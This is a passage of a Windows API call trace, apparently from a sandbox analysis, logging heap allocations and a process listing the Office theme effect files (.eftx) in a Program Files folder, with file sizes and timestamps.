ftLastWriteTime.dwHighDateTime=0x1cbded9, nFileSizeHigh=0x0, nFileSizeLow=0x581a, dwReserved0=0xf70000, dwReserved1=0x0, cFileName="Aspect.eftx", cAlternateFileName="")) returned 1 [0068.827] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xfd5698 [0068.827] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xfd5698) returned 1 [0068.827] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xfd5698 [0068.827] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xfd5698) returned 1 [0068.827] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xfd5698 [0068.827] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x18) returned 0x1009748 [0068.827] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x100) returned 0x1021990 [0068.827] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xfd5698) returned 1 [0068.828] FindNextFileW (in: hFindFile=0x60d160, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x42ca1300, ftCreationTime.dwHighDateTime=0x1cbded9, ftLastAccessTime.dwLowDateTime=0xe598f420, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x42ca1300, ftLastWriteTime.dwHighDateTime=0x1cbded9, nFileSizeHigh=0x0, nFileSizeLow=0x696d, dwReserved0=0xf70000, dwReserved1=0x0, cFileName="Austin.eftx", cAlternateFileName="")) returned 1 [0068.828] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xfd5698 [0068.828] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xfd5698) returned 1 [0068.828] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xfd5698 [0068.828] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xfd5698) returned 1 [0068.828] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xfd5698 [0068.828] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x18) returned 0x1009768 [0068.828] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x100) returned 0x1021a98 [0068.828] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xfd5698) returned 1 [0068.828] FindNextFileW (in: hFindFile=0x60d160, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x68efb300, ftCreationTime.dwHighDateTime=0x1cbded9, ftLastAccessTime.dwLowDateTime=0xe598f420, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x68efb300, ftLastWriteTime.dwHighDateTime=0x1cbded9, nFileSizeHigh=0x0, nFileSizeLow=0x96e87, dwReserved0=0xf70000, dwReserved1=0x0, cFileName="Black Tie.eftx", cAlternateFileName="")) returned 1 [0068.828] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xfd5698 [0068.828] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xfd5698) returned 1 [0068.828] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xfd5698 [0068.828] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xfd5698) returned 1 [0068.828] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xfd5698 [0068.828] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x18) returned 0x1009788 [0068.828] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x100) returned 0x1021ba0 [0068.828] FindNextFileW (in: hFindFile=0x60d160, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x72f4900, ftCreationTime.dwHighDateTime=0x1cbded9, ftLastAccessTime.dwLowDateTime=0xe59b5580, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x72f4900, ftLastWriteTime.dwHighDateTime=0x1cbded9, nFileSizeHigh=0x0, nFileSizeLow=0xa7a5, dwReserved0=0xf70000, dwReserved1=0x0, cFileName="Civic.eftx", cAlternateFileName="")) returned 1 [0068.828] FindNextFileW (in: hFindFile=0x60d160, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x465d9a00, ftCreationTime.dwHighDateTime=0x1cbded9, ftLastAccessTime.dwLowDateTime=0xe59db6e0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x465d9a00, ftLastWriteTime.dwHighDateTime=0x1cbded9, nFileSizeHigh=0x0, nFileSizeLow=0x8032, dwReserved0=0xf70000, dwReserved1=0x0, cFileName="Clarity.eftx", cAlternateFileName="")) returned 1 [0068.829] FindNextFileW (in: hFindFile=0x60d160, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6db46700, ftCreationTime.dwHighDateTime=0x1cbded9, ftLastAccessTime.dwLowDateTime=0xe5a01840, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x6db46700, ftLastWriteTime.dwHighDateTime=0x1cbded9, nFileSizeHigh=0x0, nFileSizeLow=0x825e4, dwReserved0=0xf70000, dwReserved1=0x0, cFileName="Composite.eftx", cAlternateFileName="")) returned 1 [0068.829] FindNextFileW (in: hFindFile=0x60d160, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac2d000, ftCreationTime.dwHighDateTime=0x1cbded9, ftLastAccessTime.dwLowDateTime=0xe5a279a0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xac2d000, ftLastWriteTime.dwHighDateTime=0x1cbded9, nFileSizeHigh=0x0, nFileSizeLow=0x5791, dwReserved0=0xf70000, dwReserved1=0x0, cFileName="Concourse.eftx", cAlternateFileName="")) returned 1 [0068.829] FindNextFileW (in: hFindFile=0x60d160, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x72791b00, ftCreationTime.dwHighDateTime=0x1cbded9, ftLastAccessTime.dwLowDateTime=0xe5a4db00, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x72791b00, ftLastWriteTime.dwHighDateTime=0x1cbded9, nFileSizeHigh=0x0, nFileSizeLow=0x1e0721, dwReserved0=0xf70000, dwReserved1=0x0, cFileName="Couture.eftx", cAlternateFileName="")) returned 1 [0068.829] FindNextFileW (in: hFindFile=0x60d160, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x760ca200, ftCreationTime.dwHighDateTime=0x1cbded9, ftLastAccessTime.dwLowDateTime=0xe5a99dc0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x760ca200, ftLastWriteTime.dwHighDateTime=0x1cbded9, nFileSizeHigh=0x0, nFileSizeLow=0x4caa1, dwReserved0=0xf70000, dwReserved1=0x0, cFileName="Elemental.eftx", cAlternateFileName="")) returned 1 [0068.829] FindNextFileW (in: hFindFile=0x60d160, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd252a00, ftCreationTime.dwHighDateTime=0x1cbded9, ftLastAccessTime.dwLowDateTime=0xe5abff20, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xd252a00, ftLastWriteTime.dwHighDateTime=0x1cbded9, nFileSizeHigh=0x0, nFileSizeLow=0x6023, dwReserved0=0xf70000, dwReserved1=0x0, cFileName="Equity.eftx", cAlternateFileName="")) returned 1 [0068.829] FindNextFileW (in: hFindFile=0x60d160, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x49f12100, ftCreationTime.dwHighDateTime=0x1cbded9, ftLastAccessTime.dwLowDateTime=0xe5abff20, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x49f12100, ftLastWriteTime.dwHighDateTime=0x1cbded9, nFileSizeHigh=0x0, nFileSizeLow=0x3fde, dwReserved0=0xf70000, dwReserved1=0x0, cFileName="Essential.eftx", cAlternateFileName="")) returned 1 [0068.829] FindNextFileW (in: hFindFile=0x60d160, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x79a02900, ftCreationTime.dwHighDateTime=0x1cbded9, ftLastAccessTime.dwLowDateTime=0xe5abff20, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x79a02900, ftLastWriteTime.dwHighDateTime=0x1cbded9, nFileSizeHigh=0x0, nFileSizeLow=0x52a4, dwReserved0=0xf70000, dwReserved1=0x0, cFileName="Executive.eftx", cAlternateFileName="")) returned 1 [0068.829] FindNextFileW (in: hFindFile=0x60d160, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x144c3800, ftCreationTime.dwHighDateTime=0x1cbded9, ftLastAccessTime.dwLowDateTime=0xe5ae6080, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x144c3800, ftLastWriteTime.dwHighDateTime=0x1cbded9, nFileSizeHigh=0x0, nFileSizeLow=0x6818, dwReserved0=0xf70000, dwReserved1=0x0, cFileName="Flow.eftx", cAlternateFileName="")) returned 1 [0068.829] FindNextFileW (in: hFindFile=0x60d160, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x10b8b100, ftCreationTime.dwHighDateTime=0x1cbded9, ftLastAccessTime.dwLowDateTime=0xe5b0c1e0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x10b8b100, ftLastWriteTime.dwHighDateTime=0x1cbded9, nFileSizeHigh=0x0, nFileSizeLow=0x4732, dwReserved0=0xf70000, dwReserved1=0x0, cFileName="Foundry.eftx", cAlternateFileName="")) returned 1 [0068.829] FindNextFileW (in: hFindFile=0x60d160, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4d84a800, ftCreationTime.dwHighDateTime=0x1cbded9, ftLastAccessTime.dwLowDateTime=0xe5b0c1e0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x4d84a800, ftLastWriteTime.dwHighDateTime=0x1cbded9, nFileSizeHigh=0x0, nFileSizeLow=0x48cf, dwReserved0=0xf70000, dwReserved1=0x0, cFileName="Grid.eftx", cAlternateFileName="")) returned 1 [0068.829] FindNextFileW (in: hFindFile=0x60d160, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x51182f00, ftCreationTime.dwHighDateTime=0x1cbded9, ftLastAccessTime.dwLowDateTime=0xe5b32340, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x51182f00, ftLastWriteTime.dwHighDateTime=0x1cbded9, nFileSizeHigh=0x0, nFileSizeLow=0x559e1, dwReserved0=0xf70000, dwReserved1=0x0, cFileName="Hardcover.eftx", cAlternateFileName="")) returned 1 [0068.829] FindNextFileW (in: hFindFile=0x60d160, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7d33b000, ftCreationTime.dwHighDateTime=0x1cbded9, ftLastAccessTime.dwLowDateTime=0xe5b32340, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x7d33b000, ftLastWriteTime.dwHighDateTime=0x1cbded9, nFileSizeHigh=0x0, nFileSizeLow=0x33892, dwReserved0=0xf70000, dwReserved1=0x0, cFileName="Horizon.eftx", cAlternateFileName="")) returned 1 [0068.829] FindNextFileW (in: hFindFile=0x60d160, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x17dfbf00, ftCreationTime.dwHighDateTime=0x1cbded9, ftLastAccessTime.dwLowDateTime=0xe5b584a0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x17dfbf00, ftLastWriteTime.dwHighDateTime=0x1cbded9, nFileSizeHigh=0x0, nFileSizeLow=0x9a7a, dwReserved0=0xf70000, dwReserved1=0x0, cFileName="Median.eftx", cAlternateFileName="")) returned 1 [0068.829] FindNextFileW (in: hFindFile=0x60d160, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1b734600, ftCreationTime.dwHighDateTime=0x1cbded9, ftLastAccessTime.dwLowDateTime=0xe5b584a0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x1b734600, ftLastWriteTime.dwHighDateTime=0x1cbded9, nFileSizeHigh=0x0, nFileSizeLow=0x5e35, dwReserved0=0xf70000, dwReserved1=0x0, cFileName="Metro.eftx", cAlternateFileName="")) returned 1 [0068.829] FindNextFileW (in: hFindFile=0x60d160, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1dd5a000, ftCreationTime.dwHighDateTime=0x1cbded9, ftLastAccessTime.dwLowDateTime=0xe5b7e600, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x1dd5a000, ftLastWriteTime.dwHighDateTime=0x1cbded9, nFileSizeHigh=0x0, nFileSizeLow=0xa95d, dwReserved0=0xf70000, dwReserved1=0x0, cFileName="Module.eftx", cAlternateFileName="")) returned 1 [0068.829] FindNextFileW (in: hFindFile=0x60d160, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x80c73700, ftCreationTime.dwHighDateTime=0x1cbded9, ftLastAccessTime.dwLowDateTime=0xe5b7e600, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x80c73700, ftLastWriteTime.dwHighDateTime=0x1cbded9, nFileSizeHigh=0x0, nFileSizeLow=0x8e301, dwReserved0=0xf70000, dwReserved1=0x0, cFileName="Newsprint.eftx", cAlternateFileName="")) returned 1 [0068.829] FindNextFileW (in: hFindFile=0x60d160, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x21692700, ftCreationTime.dwHighDateTime=0x1cbded9, ftLastAccessTime.dwLowDateTime=0xe5ba4760, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x21692700, ftLastWriteTime.dwHighDateTime=0x1cbded9, nFileSizeHigh=0x0, nFileSizeLow=0x8059, dwReserved0=0xf70000, dwReserved1=0x0, cFileName="Opulent.eftx", cAlternateFileName="")) returned 1 [0068.829] FindNextFileW (in: hFindFile=0x60d160, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x24fcae00, ftCreationTime.dwHighDateTime=0x1cbded9, ftLastAccessTime.dwLowDateTime=0xe5bca8c0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x24fcae00, ftLastWriteTime.dwHighDateTime=0x1cbded9, nFileSizeHigh=0x0, nFileSizeLow=0xa8b9, dwReserved0=0xf70000, dwReserved1=0x0, cFileName="Oriel.eftx", cAlternateFileName="")) returned 1 [0068.829] FindNextFileW (in: hFindFile=0x60d160, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x28903500, ftCreationTime.dwHighDateTime=0x1cbded9, ftLastAccessTime.dwLowDateTime=0xe5bca8c0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x28903500, ftLastWriteTime.dwHighDateTime=0x1cbded9, nFileSizeHigh=0x0, nFileSizeLow=0x9fed, dwReserved0=0xf70000, dwReserved1=0x0, cFileName="Origin.eftx", cAlternateFileName="")) returned 1 [0068.829] FindNextFileW (in: hFindFile=0x60d160, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2c23bc00, ftCreationTime.dwHighDateTime=0x1cbded9, ftLastAccessTime.dwLowDateTime=0xe5bf0a20, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x2c23bc00, ftLastWriteTime.dwHighDateTime=0x1cbded9, nFileSizeHigh=0x0, nFileSizeLow=0x37d8a, dwReserved0=0xf70000, dwReserved1=0x0, cFileName="Paper.eftx", cAlternateFileName="")) returned 1 [0068.829] FindNextFileW (in: hFindFile=0x60d160, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x537a8900, ftCreationTime.dwHighDateTime=0x1cbded9, ftLastAccessTime.dwLowDateTime=0xe5c16b80, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x537a8900, ftLastWriteTime.dwHighDateTime=0x1cbded9, nFileSizeHigh=0x0, nFileSizeLow=0x53af, dwReserved0=0xf70000, dwReserved1=0x0, cFileName="Perspective.eftx", cAlternateFileName="")) returned 1 [0068.829] FindNextFileW (in: hFindFile=0x60d160, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x583f3d00, ftCreationTime.dwHighDateTime=0x1cbded9, ftLastAccessTime.dwLowDateTime=0xe5c3cce0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x583f3d00, ftLastWriteTime.dwHighDateTime=0x1cbded9, nFileSizeHigh=0x0, nFileSizeLow=0xbef29, dwReserved0=0xf70000, dwReserved1=0x0, cFileName="Pushpin.eftx", cAlternateFileName="")) returned 1 [0068.830] FindNextFileW (in: hFindFile=0x60d160, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x845abe00, ftCreationTime.dwHighDateTime=0x1cbded9, ftLastAccessTime.dwLowDateTime=0xe5c62e40, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x845abe00, ftLastWriteTime.dwHighDateTime=0x1cbded9, nFileSizeHigh=0x0, nFileSizeLow=0x6c8d, dwReserved0=0xf70000, dwReserved1=0x0, cFileName="Slipstream.eftx", cAlternateFileName="")) returned 1 [0068.830] FindNextFileW (in: hFindFile=0x60d160, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2e861600, ftCreationTime.dwHighDateTime=0x1cbded9, ftLastAccessTime.dwLowDateTime=0xe5c62e40, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x2e861600, ftLastWriteTime.dwHighDateTime=0x1cbded9, nFileSizeHigh=0x0, nFileSizeLow=0x6c85, dwReserved0=0xf70000, dwReserved1=0x0, cFileName="Solstice.eftx", cAlternateFileName="")) returned 1 [0068.830] FindNextFileW (in: hFindFile=0x60d160, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x32199d00, ftCreationTime.dwHighDateTime=0x1cbded9, ftLastAccessTime.dwLowDateTime=0xe5c62e40, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x32199d00, ftLastWriteTime.dwHighDateTime=0x1cbded9, nFileSizeHigh=0x0, nFileSizeLow=0x5c8c, dwReserved0=0xf70000, dwReserved1=0x0, cFileName="Technic.eftx", cAlternateFileName="")) returned 1 [0068.830] FindNextFileW (in: hFindFile=0x60d160, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5bd2c400, ftCreationTime.dwHighDateTime=0x1cbded9, ftLastAccessTime.dwLowDateTime=0xe5c88fa0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x5bd2c400, ftLastWriteTime.dwHighDateTime=0x1cbded9, nFileSizeHigh=0x0, nFileSizeLow=0xa14f, dwReserved0=0xf70000, dwReserved1=0x0, cFileName="Thatch.eftx", cAlternateFileName="")) returned 1 [0068.830] FindNextFileW (in: hFindFile=0x60d160, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x35ad2400, ftCreationTime.dwHighDateTime=0x1cbded9, ftLastAccessTime.dwLowDateTime=0xe5c88fa0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x35ad2400, ftLastWriteTime.dwHighDateTime=0x1cbded9, nFileSizeHigh=0x0, nFileSizeLow=0x1fb84, dwReserved0=0xf70000, dwReserved1=0x0, cFileName="Trek.eftx", cAlternateFileName="")) returned 1 [0068.830] FindNextFileW (in: hFindFile=0x60d160, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3940ab00, ftCreationTime.dwHighDateTime=0x1cbded9, ftLastAccessTime.dwLowDateTime=0xe5caf100, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x3940ab00, ftLastWriteTime.dwHighDateTime=0x1cbded9, nFileSizeHigh=0x0, nFileSizeLow=0x4c9b, dwReserved0=0xf70000, dwReserved1=0x0, cFileName="Urban.eftx", cAlternateFileName="")) returned 1 [0068.830] FindNextFileW (in: hFindFile=0x60d160, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3cd43200, ftCreationTime.dwHighDateTime=0x1cbded9, ftLastAccessTime.dwLowDateTime=0xe5caf100, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x3cd43200, ftLastWriteTime.dwHighDateTime=0x1cbded9, nFileSizeHigh=0x0, nFileSizeLow=0x79f8, dwReserved0=0xf70000, dwReserved1=0x0, cFileName="Verve.eftx", cAlternateFileName="")) returned 1 [0068.830] FindNextFileW (in: hFindFile=0x60d160, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5f664b00, ftCreationTime.dwHighDateTime=0x1cbded9, ftLastAccessTime.dwLowDateTime=0xe5caf100, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x5f664b00, ftLastWriteTime.dwHighDateTime=0x1cbded9, nFileSizeHigh=0x0, nFileSizeLow=0x1b778, dwReserved0=0xf70000, dwReserved1=0x0, cFileName="Waveform.eftx", cAlternateFileName="")) returned 1 [0068.830] FindNextFileW (in: hFindFile=0x60d160, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5f664b00, ftCreationTime.dwHighDateTime=0x1cbded9, ftLastAccessTime.dwLowDateTime=0xe5caf100, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x5f664b00, ftLastWriteTime.dwHighDateTime=0x1cbded9, nFileSizeHigh=0x0, nFileSizeLow=0x1b778, dwReserved0=0xf70000, dwReserved1=0x0, cFileName="Waveform.eftx", cAlternateFileName="")) returned 0 [0068.830] GetLastError () returned 0x12 [0068.830] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\*", fInfoLevelId=0x1, lpFindFileData=0x174ef54, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x174ef54) returned 0x60d260 [0068.830] FindClose (in: hFindFile=0x60d160 | out: hFindFile=0x60d160) returned 1 [0068.830] FindNextFileW (in: hFindFile=0x60d260, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5127f1f0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xe5caf100, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xe5caf100, ftLastWriteTime.dwHighDateTime=0x1d305f1, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xf70000, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0068.830] FindNextFileW (in: hFindFile=0x60d260, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x61c8a500, ftCreationTime.dwHighDateTime=0x1cbded9, ftLastAccessTime.dwLowDateTime=0xe591d000, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x61c8a500, ftLastWriteTime.dwHighDateTime=0x1cbded9, nFileSizeHigh=0x0, nFileSizeLow=0x5261, dwReserved0=0xf70000, dwReserved1=0x0, cFileName="Adjacency.eftx", cAlternateFileName="")) returned 1 [0068.830] FindNextFileW (in: hFindFile=0x60d260, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x655c2c00, ftCreationTime.dwHighDateTime=0x1cbded9, ftLastAccessTime.dwLowDateTime=0xe5943160, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x655c2c00, ftLastWriteTime.dwHighDateTime=0x1cbded9, nFileSizeHigh=0x0, nFileSizeLow=0x6ae5, dwReserved0=0xf70000, dwReserved1=0x0, cFileName="Angles.eftx", cAlternateFileName="")) returned 1 [0068.830] FindNextFileW (in: hFindFile=0x60d260, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x83b00, ftCreationTime.dwHighDateTime=0x1cbded9, ftLastAccessTime.dwLowDateTime=0xe5943160, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x83b00, ftLastWriteTime.dwHighDateTime=0x1cbded9, nFileSizeHigh=0x0, nFileSizeLow=0x354c6, dwReserved0=0xf70000, dwReserved1=0x0, cFileName="Apex.eftx", cAlternateFileName="")) returned 1 [0068.830] FindNextFileW (in: hFindFile=0x60d260, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3f368c00, ftCreationTime.dwHighDateTime=0x1cbded9, ftLastAccessTime.dwLowDateTime=0xe59692c0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x3f368c00, ftLastWriteTime.dwHighDateTime=0x1cbded9, nFileSizeHigh=0x0, nFileSizeLow=0xbf81, dwReserved0=0xf70000, dwReserved1=0x0, cFileName="Apothecary.eftx", cAlternateFileName="")) returned 1 [0068.830] FindNextFileW (in: hFindFile=0x60d260, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x39bc200, ftCreationTime.dwHighDateTime=0x1cbded9, ftLastAccessTime.dwLowDateTime=0xe59692c0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x39bc200, ftLastWriteTime.dwHighDateTime=0x1cbded9, nFileSizeHigh=0x0, nFileSizeLow=0x581a, dwReserved0=0xf70000, dwReserved1=0x0, cFileName="Aspect.eftx", cAlternateFileName="")) returned 1 [0068.830] FindNextFileW (in: hFindFile=0x60d260, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x42ca1300, ftCreationTime.dwHighDateTime=0x1cbded9, ftLastAccessTime.dwLowDateTime=0xe598f420, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x42ca1300, ftLastWriteTime.dwHighDateTime=0x1cbded9, nFileSizeHigh=0x0, nFileSizeLow=0x696d, dwReserved0=0xf70000, dwReserved1=0x0, cFileName="Austin.eftx", cAlternateFileName="")) returned 1 [0068.830] FindNextFileW (in: hFindFile=0x60d260, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x68efb300, ftCreationTime.dwHighDateTime=0x1cbded9, ftLastAccessTime.dwLowDateTime=0xe598f420, 